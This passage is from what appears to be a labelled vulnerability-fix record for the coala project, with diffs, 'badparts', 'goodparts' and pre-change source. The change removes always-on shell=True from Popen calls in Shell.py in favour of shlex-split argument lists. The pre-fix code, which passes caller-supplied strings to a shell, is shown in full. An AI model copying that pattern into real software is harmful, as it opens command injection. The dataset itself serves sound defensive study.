with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "message": "", "files": {"/coalib/misc/Shell.py": {"changes": [{"diff": "\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n \n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n+ This function creates a context manager that sets up the process (using\n+ `subprocess.Popen()`), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n \n- The process is opened in `universal_newlines` mode.\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- :param command: The command to run on shell.\n+ The process is opened in `universal_newlines` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n", "add": 20, "remove": 9, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and provides stdout, stderr and stdin streams.", " This function creates a context manager that sets up the process, returns", " to caller, closes streams and waits for process to exit on leaving.", " The process is opened in `universal_newlines` mode.", " :param command: The command to run on shell.", " that is used to spawn the process (except `shell`,", " `stdout`, `stderr`, `stdin` and `universal_newlines`, a", " `TypeError` is raised then).", " shell=True,"], "goodparts": [" Runs a single command in shell and provides stdout, stderr and stdin", " streams.", " This function creates a context manager that sets up the process (using", " `subprocess.Popen()`), returns to caller, closes streams and waits for", " process to exit on leaving.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass `shell=True` like you", " would do for `subprocess.Popen()`.", " The process is opened in `universal_newlines` mode by default.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using `shlex.split()`.", " that is used to spawn the process (except `stdout`,", " `stderr`, `stdin` and `universal_newlines`, a `TypeError`", " is raised then).", " if isinstance(command, str):", " command = shlex.split(command)"]}, {"diff": "\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using `subprocess.Popen()`) to\n+ exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- This function waits for the process to exit.\n+ See also `run_interactive_shell_command()`.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n", "add": 16, "remove": 6, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and returns the read stdout and stderr data.", " This function waits for the process to exit.", " :param command: The command to run on shell.", " that is used to spawn the process (except `shell`,", " `stdout`, `stderr`, `stdin` and `universal_newlines`, a", " `TypeError` is raised then)."], "goodparts": [" Runs a single command in shell and returns the read stdout and stderr data.", " This function waits for the process (created using `subprocess.Popen()`) to", " exit.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass `shell=True` like you", " would do for `subprocess.Popen()`.", " See also `run_interactive_shell_command()`.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using `shlex.split()`.", " that is used to spawn the process (except `stdout`,", " `stderr`, `stdin` and `universal_newlines`, a `TypeError`", " is raised then)."]}, {"diff": "\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n+ out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out_0, _ = run_shell_command([\"echo\", \"$0\"])\n+ out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"", "add": 2, "remove": 2, "filename": "/coalib/misc/Shell.py", "badparts": [" out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])", " out_0, _ = run_shell_command([\"echo\", \"$0\"])"], "goodparts": [" out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)", " out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)"]}], "source": "\nfrom contextlib import contextmanager from subprocess import PIPE, Popen from coalib.parsing.StringProcessing import escape @contextmanager def run_interactive_shell_command(command, **kwargs): \"\"\" Runs a command in shell and provides stdout, stderr and stdin streams. This function creates a context manager that sets up the process, returns to caller, closes streams and waits for process to exit on leaving. The process is opened in `universal_newlines` mode. :param command: The command to run on shell. :param kwargs: Additional keyword arguments to pass to `subprocess.Popen` that is used to spawn the process(except `shell`, `stdout`, `stderr`, `stdin` and `universal_newlines`, a `TypeError` is raised then). :return: A context manager yielding the process started from the command. \"\"\" process=Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE, universal_newlines=True, **kwargs) try: yield process finally: process.stdout.close() process.stderr.close() process.stdin.close() process.wait() def run_shell_command(command, stdin=None, **kwargs): \"\"\" Runs a command in shell and returns the read stdout and stderr data. This function waits for the process to exit. :param command: The command to run on shell. :param stdin: Initial input to send to the process. :param kwargs: Additional keyword arguments to pass to `subprocess.Popen` that is used to spawn the process(except `shell`, `stdout`, `stderr`, `stdin` and `universal_newlines`, a `TypeError` is raised then). :return: A tuple with `(stdoutstring, stderrstring)`. \"\"\" with run_interactive_shell_command(command, **kwargs) as p: ret=p.communicate(stdin) return ret def get_shell_type(): \"\"\" Finds the current shell type based on the outputs of common pre-defined variables in them. This is useful to identify which sort of escaping is required for strings. :return: The shell type. This can be either \"powershell\" if Windows Powershell is detected, \"cmd\" if command prompt is been detected or \"sh\" if it's neither of these. \"\"\" out_hostname, _=run_shell_command([\"echo\", \"$host.name\"]) if out_hostname.strip()==\"ConsoleHost\": return \"powershell\" out_0, _=run_shell_command([\"echo\", \"$0\"]) if out_0.strip()==\"\" and out_0.strip()==\"\": return \"cmd\" return \"sh\" def prepare_string_argument(string, shell=get_shell_type()): \"\"\" Prepares a string argument for being passed as a parameter on shell. On `sh` this function effectively encloses the given string with quotes(either '' or \"\", depending on content). :param string: The string to prepare for shell. :param shell: The shell platform to prepare string argument for. If it is not \"sh\" it will be ignored and return the given string without modification. :return: The shell-prepared string. \"\"\" if shell==\"sh\": return '\"' +escape(string, '\"') +'\"' else: return string def escape_path_argument(path, shell=get_shell_type()): \"\"\" Makes a raw path ready for using as parameter in a shell command(escapes illegal characters, surrounds with quotes etc.). :param path: The path to make ready for shell. :param shell: The shell platform to escape the path argument for. Possible values are \"sh\", \"powershell\", and \"cmd\"(others will be ignored and return the given path without modification). :return: The escaped path argument. \"\"\" if shell==\"cmd\": return '\"' +escape(path, '\"', '^') +'\"' elif shell==\"sh\": return escape(path, \" \") else: return path ", "sourceWithComments": "from contextlib import contextmanager\nfrom subprocess import PIPE, Popen\n\nfrom coalib.parsing.StringProcessing import escape\n\n\n@contextmanager\ndef run_interactive_shell_command(command, **kwargs):\n \"\"\"\n Runs a command in shell and provides stdout, stderr and stdin streams.\n\n This function creates a context manager that sets up the process, returns\n to caller, closes streams and waits for process to exit on leaving.\n\n The process is opened in `universal_newlines` mode.\n\n :param command: The command to run on shell.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n that is used to spawn the process (except `shell`,\n `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n `TypeError` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n process = Popen(command,\n shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n universal_newlines=True,\n **kwargs)\n try:\n yield process\n finally:\n process.stdout.close()\n process.stderr.close()\n process.stdin.close()\n process.wait()\n\n\ndef run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n Runs a command in shell and returns the read stdout and stderr data.\n\n This function waits for the process to exit.\n\n :param command: The command to run on shell.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n that is used to spawn the process (except `shell`,\n `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n `TypeError` is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n ret = p.communicate(stdin)\n return ret\n\n\ndef get_shell_type(): # pragma: no cover\n \"\"\"\n Finds the current shell type based on the outputs of common pre-defined\n variables in them. This is useful to identify which sort of escaping\n is required for strings.\n\n :return: The shell type. This can be either \"powershell\" if Windows\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n out_0, _ = run_shell_command([\"echo\", \"$0\"])\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"\n\n\ndef prepare_string_argument(string, shell=get_shell_type()):\n \"\"\"\n Prepares a string argument for being passed as a parameter on shell.\n\n On `sh` this function effectively encloses the given string\n with quotes (either '' or \"\", depending on content).\n\n :param string: The string to prepare for shell.\n :param shell: The shell platform to prepare string argument for.\n If it is not \"sh\" it will be ignored and return the\n given string without modification.\n :return: The shell-prepared string.\n \"\"\"\n if shell == \"sh\":\n return '\"' + escape(string, '\"') + '\"'\n else:\n return string\n\n\ndef escape_path_argument(path, shell=get_shell_type()):\n \"\"\"\n Makes a raw path ready for using as parameter in a shell command (escapes\n illegal characters, surrounds with quotes etc.).\n\n :param path: The path to make ready for shell.\n :param shell: The shell platform to escape the path argument for. Possible\n values are \"sh\", \"powershell\", and \"cmd\" (others will be\n ignored and return the given path without modification).\n :return: The escaped path argument.\n \"\"\"\n if shell == \"cmd\":\n # If a quote (\") occurs in path (which is illegal for NTFS file\n # systems, but maybe for others), escape it by preceding it with\n # a caret (^).\n return '\"' + escape(path, '\"', '^') + '\"'\n elif shell == \"sh\":\n return escape(path, \" \")\n else:\n # Any other non-supported system doesn't get a path escape.\n return path\n"}, "/coalib/tests/bearlib/abstractions/LintTest.py": {"changes": [{"diff": "\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n- self.uut.executable = \"more\"\n+ if platform.system() == \"Windows\":\n+ # Windows maps `more.com` to `more` only in shell, but `Lint`\n+ # doesn't use it.\n+ self.uut.executable = \"more.com\"\n+ else:\n+ self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: outpu", "add": 6, "remove": 1, "filename": "/coalib/tests/bearlib/abstractions/LintTest.py", "badparts": [" self.uut.executable = \"more\""], "goodparts": [" if platform.system() == \"Windows\":", " self.uut.executable = \"more.com\"", " else:", " self.uut.executable = \"more\""]}], "source": "\nimport os import unittest from coalib.bearlib.abstractions.Lint import Lint from coalib.misc.ContextManagers import prepare_file from coalib.misc.Shell import escape_path_argument from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY from coalib.results.SourceRange import SourceRange from coalib.settings.Section import Section class LintTest(unittest.TestCase): def setUp(self): section=Section(\"some_name\") self.uut=Lint(section, None) def test_invalid_output(self): out=list(self.uut.process_output( [\"1.0|0: Info message\\n\", \"2.2|1: Normal message\\n\", \"3.4|2: Major message\\n\"], \"a/file.py\", ['original_file_lines_placeholder'])) self.assertEqual(len(out), 3) self.assertEqual(out[0].origin, \"Lint\") self.assertEqual(out[0].affected_code[0], SourceRange.from_values(\"a/file.py\", 1, 0)) self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO) self.assertEqual(out[0].message, \"Info message\") self.assertEqual(out[1].affected_code[0], SourceRange.from_values(\"a/file.py\", 2, 2)) self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL) self.assertEqual(out[1].message, \"Normal message\") self.assertEqual(out[2].affected_code[0], SourceRange.from_values(\"a/file.py\", 3, 4)) self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR) self.assertEqual(out[2].message, \"Major message\") def test_custom_regex(self): self.uut.output_regex=(r'(?P\\w+)\\|' r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\w+):(?P.*)') self.uut.severity_map={\"I\": RESULT_SEVERITY.INFO} out=list(self.uut.process_output( [\"info_msg|1.0|2.3|I: Info message\\n\"], 'a/file.py', ['original_file_lines_placeholder'])) self.assertEqual(len(out), 1) self.assertEqual(out[0].affected_code[0].start.line, 1) self.assertEqual(out[0].affected_code[0].start.column, 0) self.assertEqual(out[0].affected_code[0].end.line, 2) self.assertEqual(out[0].affected_code[0].end.column, 3) self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO) self.assertEqual(out[0].origin, 'Lint(info_msg)') def test_valid_output(self): out=list(self.uut.process_output( [\"Random line that shouldn't be captured\\n\", \"*************\\n\"], 'a/file.py', ['original_file_lines_placeholder'])) self.assertEqual(len(out), 0) def test_stdin_input(self): with prepare_file([\"abcd\", \"efgh\"], None) as(lines, filename): self.uut.executable=\"more\" self.uut.use_stdin=True self.uut.use_stderr=False self.uut.process_output=lambda output, filename, file: output out=self.uut.lint(file=lines) self.assertTrue((\"abcd\\n\", \"efgh\\n\")==out or (\"abcd\\n\", \"efgh\\n\", \"\\n\")==out) def test_stderr_output(self): self.uut.executable=\"echo\" self.uut.arguments=\"hello\" self.uut.use_stdin=False self.uut.use_stderr=True self.uut.process_output=lambda output, filename, file: output out=self.uut.lint(\"unused_filename\") self.assertEqual((), out) self.uut.use_stderr=False out=self.uut.lint(\"unused_filename\") self.assertEqual(('hello\\n',), out) def assert_warn(line): assert line==\"hello\" old_warn=self.uut.warn self.uut.warn=assert_warn self.uut._print_errors([\"hello\", \"\\n\"]) self.uut.warn=old_warn def test_gives_corrected(self): self.uut.gives_corrected=True out=tuple(self.uut.process_output([\"a\", \"b\"], \"filename\",[\"a\", \"b\"])) self.assertEqual((), out) out=tuple(self.uut.process_output([\"a\", \"b\"], \"filename\",[\"a\"])) self.assertEqual(len(out), 1) def test_missing_binary(self): old_binary=Lint.executable invalid_binary=\"invalid_binary_which_doesnt_exist\" Lint.executable=invalid_binary self.assertEqual(Lint.check_prerequisites(), \"'{}' is not installed.\".format(invalid_binary)) Lint.executable=\"echo\" self.assertTrue(Lint.check_prerequisites()) del Lint.executable self.assertTrue(Lint.check_prerequisites()) Lint.executable=old_binary def test_config_file_generator(self): self.uut.executable=\"echo\" self.uut.arguments=\"-c{config_file}\" self.assertEqual( self.uut._create_command(config_file=\"configfile\").strip(), \"echo -c \" +escape_path_argument(\"configfile\")) def test_config_file_generator(self): self.uut.executable=\"echo\" self.uut.config_file=lambda:[\"config line1\"] config_filename=self.uut.generate_config_file() self.assertTrue(os.path.isfile(config_filename)) os.remove(config_filename) self.uut.lint(\"filename\") ", "sourceWithComments": "import os\nimport unittest\n\nfrom coalib.bearlib.abstractions.Lint import Lint\nfrom coalib.misc.ContextManagers import prepare_file\nfrom coalib.misc.Shell import escape_path_argument\nfrom coalib.results.RESULT_SEVERITY import RESULT_SEVERITY\nfrom coalib.results.SourceRange import SourceRange\nfrom coalib.settings.Section import Section\n\n\nclass LintTest(unittest.TestCase):\n\n def setUp(self):\n section = Section(\"some_name\")\n self.uut = Lint(section, None)\n\n def test_invalid_output(self):\n out = list(self.uut.process_output(\n [\"1.0|0: Info message\\n\",\n \"2.2|1: Normal message\\n\",\n \"3.4|2: Major message\\n\"],\n \"a/file.py\",\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 3)\n self.assertEqual(out[0].origin, \"Lint\")\n\n self.assertEqual(out[0].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 1, 0))\n self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)\n self.assertEqual(out[0].message, \"Info message\")\n\n self.assertEqual(out[1].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 2, 2))\n self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL)\n self.assertEqual(out[1].message, \"Normal message\")\n\n self.assertEqual(out[2].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 3, 4))\n self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR)\n self.assertEqual(out[2].message, \"Major message\")\n\n def test_custom_regex(self):\n self.uut.output_regex = (r'(?P\\w+)\\|'\n r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\w+): (?P.*)')\n self.uut.severity_map = {\"I\": RESULT_SEVERITY.INFO}\n out = list(self.uut.process_output(\n [\"info_msg|1.0|2.3|I: Info message\\n\"],\n 'a/file.py',\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 1)\n self.assertEqual(out[0].affected_code[0].start.line, 1)\n self.assertEqual(out[0].affected_code[0].start.column, 0)\n self.assertEqual(out[0].affected_code[0].end.line, 2)\n self.assertEqual(out[0].affected_code[0].end.column, 3)\n self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)\n self.assertEqual(out[0].origin, 'Lint (info_msg)')\n\n def test_valid_output(self):\n out = list(self.uut.process_output(\n [\"Random line that shouldn't be captured\\n\",\n \"*************\\n\"],\n 'a/file.py',\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 0)\n\n def test_stdin_input(self):\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: output\n\n out = self.uut.lint(file=lines)\n # Some implementations of `more` add an extra newline at the end.\n self.assertTrue((\"abcd\\n\", \"efgh\\n\") == out or\n (\"abcd\\n\", \"efgh\\n\", \"\\n\") == out)\n\n def test_stderr_output(self):\n self.uut.executable = \"echo\"\n self.uut.arguments = \"hello\"\n self.uut.use_stdin = False\n self.uut.use_stderr = True\n self.uut.process_output = lambda output, filename, file: output\n out = self.uut.lint(\"unused_filename\")\n self.assertEqual((), out) # stderr is used\n\n self.uut.use_stderr = False\n out = self.uut.lint(\"unused_filename\")\n self.assertEqual(('hello\\n',), out) # stdout is used\n\n def assert_warn(line):\n assert line == \"hello\"\n old_warn = self.uut.warn\n self.uut.warn = assert_warn\n self.uut._print_errors([\"hello\", \"\\n\"])\n self.uut.warn = old_warn\n\n def test_gives_corrected(self):\n self.uut.gives_corrected = True\n out = tuple(self.uut.process_output([\"a\", \"b\"], \"filename\", [\"a\", \"b\"]))\n self.assertEqual((), out)\n out = tuple(self.uut.process_output([\"a\", \"b\"], \"filename\", [\"a\"]))\n self.assertEqual(len(out), 1)\n\n def test_missing_binary(self):\n old_binary = Lint.executable\n invalid_binary = \"invalid_binary_which_doesnt_exist\"\n Lint.executable = invalid_binary\n\n self.assertEqual(Lint.check_prerequisites(),\n \"'{}' is not installed.\".format(invalid_binary))\n\n # \"echo\" is existent on nearly all platforms.\n Lint.executable = \"echo\"\n self.assertTrue(Lint.check_prerequisites())\n\n del Lint.executable\n self.assertTrue(Lint.check_prerequisites())\n\n Lint.executable = old_binary\n\n def test_config_file_generator(self):\n self.uut.executable = \"echo\"\n self.uut.arguments = \"-c {config_file}\"\n\n self.assertEqual(\n self.uut._create_command(config_file=\"configfile\").strip(),\n \"echo -c \" + escape_path_argument(\"configfile\"))\n\n def test_config_file_generator(self):\n self.uut.executable = \"echo\"\n self.uut.config_file = lambda: [\"config line1\"]\n config_filename = self.uut.generate_config_file()\n self.assertTrue(os.path.isfile(config_filename))\n os.remove(config_filename)\n\n # To complete coverage of closing the config file and check if any\n # errors are thrown there.\n self.uut.lint(\"filename\")\n"}, "/coalib/tests/misc/ShellTest.py": {"changes": [{"diff": "\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n", "add": 2, "remove": 4, "filename": "/coalib/tests/misc/ShellTest.py", "badparts": [" return \" \".join(", " escape_path_argument(s) for s in (", " sys.executable,", " scriptname)))"], "goodparts": [" return (sys.executable,", " scriptname))"]}, {"diff": "\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "add": 1, "remove": 1, "filename": "/coalib/tests/misc/ShellTest.py", "badparts": [" with run_interactive_shell_command(\"some_command\", shell=False):"], "goodparts": [" with run_interactive_shell_command(\"some_command\", stdout=None):"]}], "source": "\nimport os import sys import unittest from coalib.misc.Shell import( escape_path_argument, prepare_string_argument, run_interactive_shell_command, run_shell_command) class EscapePathArgumentTest(unittest.TestCase): def test_escape_path_argument_sh(self): _type=\"sh\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/usr/a-dir/\", _type), \"/home/usr/a-dir/\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\") self.assertEqual( escape_path_argument(\"/home/us r/a-dir with spaces/x/\", _type), \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\") self.assertEqual( escape_path_argument( \"relative something/with cherries and/pickles.delicious\", _type), \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\") def test_escape_path_argument_cmd(self): _type=\"cmd\" self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type), \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\") self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type), \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\", _type), \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\my-custom relative tool\\\\\", _type), \"\\\"System32\\\\my-custom relative tool\\\\\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type), \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\") def test_escape_path_argument_unsupported(self): _type=\"INVALID\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us r/a-file with spaces.bla\") self.assertEqual( escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type), \"|home|us r|a*dir with spaces|x|\") self.assertEqual( escape_path_argument(\"system|a|b|c?d\", _type), \"system|a|b|c?d\") class RunShellCommandTest(unittest.TestCase): @staticmethod def construct_testscript_command(scriptname): return \" \".join( escape_path_argument(s) for s in( sys.executable, os.path.join(os.path.dirname(os.path.realpath(__file__)), \"run_shell_command_testfiles\", scriptname))) def test_run_interactive_shell_command(self): command=RunShellCommandTest.construct_testscript_command( \"test_interactive_program.py\") with run_interactive_shell_command(command) as p: self.assertEqual(p.stdout.readline(), \"test_program X\\n\") self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\") p.stdin.write(\"33\\n\") p.stdin.flush() self.assertEqual(p.stdout.readline(), \"33\\n\") self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\") def test_run_interactive_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", weird_parameter=30): pass with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", shell=False): pass def test_run_shell_command_without_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_program.py\") stdout, stderr=run_shell_command(command) expected=(\"test_program Z\\n\" \"non-interactive mode.\\n\" \"Exiting...\\n\") self.assertEqual(stdout, expected) self.assertEqual(stderr, \"\") def test_run_shell_command_with_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_input_program.py\") stdout, stderr=run_shell_command(command, \"1 4 10 22\") self.assertEqual(stdout, \"37\\n\") self.assertEqual(stderr, \"\") stdout, stderr=run_shell_command(command, \"1 p 5\") self.assertEqual(stdout, \"\") self.assertEqual(stderr, \"INVALID INPUT\\n\") def test_run_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\") with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", universal_newlines=False) class PrepareStringArgumentTest(unittest.TestCase): def setUp(self): self.test_strings=(\"normal_string\", \"string with spaces\", 'string with quotes\"a', \"string with s-quotes'b\", \"bsn \\n A\", \"unrecognized \\\\q escape\") def test_prepare_string_argument_sh(self): expected_results=('\"normal_string\"', '\"string with spaces\"', '\"string with quotes\\\\\"a\"', '\"string with s-quotes\\'b\"', '\"bsn \\n A\"', '\"unrecognized \\\\q escape\"') for string, result in zip(self.test_strings, expected_results): self.assertEqual(prepare_string_argument(string, \"sh\"), result) def test_prepare_string_argument_unsupported(self): for string in self.test_strings: self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"), string) ", "sourceWithComments": "import os\nimport sys\nimport unittest\n\nfrom coalib.misc.Shell import (\n escape_path_argument, prepare_string_argument,\n run_interactive_shell_command, run_shell_command)\n\n\nclass EscapePathArgumentTest(unittest.TestCase):\n\n def test_escape_path_argument_sh(self):\n _type = \"sh\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-dir/\", _type),\n \"/home/usr/a-dir/\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\",\n _type),\n \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-dir with spaces/x/\",\n _type),\n \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\")\n self.assertEqual(\n escape_path_argument(\n \"relative something/with cherries and/pickles.delicious\",\n _type),\n \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\")\n\n def test_escape_path_argument_cmd(self):\n _type = \"cmd\"\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type),\n \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\")\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type),\n \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\",\n _type),\n \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\",\n _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\my-custom relative tool\\\\\",\n _type),\n \"\\\"System32\\\\my-custom relative tool\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type),\n \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\")\n\n def test_escape_path_argument_unsupported(self):\n _type = \"INVALID\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n 